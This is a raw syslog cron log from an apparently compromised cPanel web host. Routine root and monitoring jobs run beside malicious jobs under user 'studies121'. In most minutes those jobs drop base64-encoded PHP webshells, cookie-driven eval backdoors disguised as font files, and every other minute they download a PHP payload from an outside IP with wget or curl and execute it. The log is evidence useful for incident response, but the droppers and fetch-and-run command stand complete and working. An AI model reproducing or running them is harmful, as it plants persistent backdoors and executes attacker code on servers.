Sep  9 23:32:01 ip-184-168-122-23 CROND[30464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:32:01 ip-184-168-122-23 CROND[30463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:33:01 ip-184-168-122-23 CROND[30545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:33:01 ip-184-168-122-23 CROND[30544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:33:01 ip-184-168-122-23 CROND[30546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:33:01 ip-184-168-122-23 CROND[30547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:34:01 ip-184-168-122-23 CROND[30622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:34:01 ip-184-168-122-23 CROND[30626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:34:01 ip-184-168-122-23 CROND[30625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:34:01 ip-184-168-122-23 CROND[30624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:34:01 ip-184-168-122-23 CROND[30627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:35:02 ip-184-168-122-23 CROND[30713]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 23:35:02 ip-184-168-122-23 CROND[30717]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 23:35:02 ip-184-168-122-23 CROND[30718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:35:02 ip-184-168-122-23 CROND[30715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:35:02 ip-184-168-122-23 CROND[30719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:35:02 ip-184-168-122-23 CROND[30720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:35:02 ip-184-168-122-23 CROND[30716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:35:02 ip-184-168-122-23 CROND[30721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:36:01 ip-184-168-122-23 CROND[30813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:36:01 ip-184-168-122-23 CROND[30815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:36:01 ip-184-168-122-23 CROND[30816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:36:01 ip-184-168-122-23 CROND[30817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:36:01 ip-184-168-122-23 CROND[30819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:37:01 ip-184-168-122-23 CROND[30987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:37:01 ip-184-168-122-23 CROND[30986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:37:01 ip-184-168-122-23 CROND[30989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:37:01 ip-184-168-122-23 CROND[30988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:38:01 ip-184-168-122-23 CROND[31074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:38:01 ip-184-168-122-23 CROND[31078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:38:01 ip-184-168-122-23 CROND[31076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:38:01 ip-184-168-122-23 CROND[31077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:38:01 ip-184-168-122-23 CROND[31079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:39:02 ip-184-168-122-23 CROND[31164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:39:02 ip-184-168-122-23 CROND[31168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:39:02 ip-184-168-122-23 CROND[31166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:39:02 ip-184-168-122-23 CROND[31167]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 23:39:02 ip-184-168-122-23 CROND[31169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:40:01 ip-184-168-122-23 CROND[31298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:40:01 ip-184-168-122-23 CROND[31300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:40:01 ip-184-168-122-23 CROND[31306]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:40:01 ip-184-168-122-23 CROND[31305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:40:01 ip-184-168-122-23 CROND[31303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:40:01 ip-184-168-122-23 CROND[31302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:40:01 ip-184-168-122-23 CROND[31304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:40:01 ip-184-168-122-23 CROND[31307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:41:01 ip-184-168-122-23 CROND[31399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:41:01 ip-184-168-122-23 CROND[31401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:41:01 ip-184-168-122-23 CROND[31403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:41:01 ip-184-168-122-23 CROND[31402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:42:02 ip-184-168-122-23 CROND[31566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:42:02 ip-184-168-122-23 CROND[31568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:42:02 ip-184-168-122-23 CROND[31567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:42:02 ip-184-168-122-23 CROND[31564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:42:02 ip-184-168-122-23 CROND[31565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:43:02 ip-184-168-122-23 CROND[31653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:43:02 ip-184-168-122-23 CROND[31655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:43:02 ip-184-168-122-23 CROND[31656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:43:02 ip-184-168-122-23 CROND[31654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:44:01 ip-184-168-122-23 CROND[31730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:44:01 ip-184-168-122-23 CROND[31732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:44:01 ip-184-168-122-23 CROND[31731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
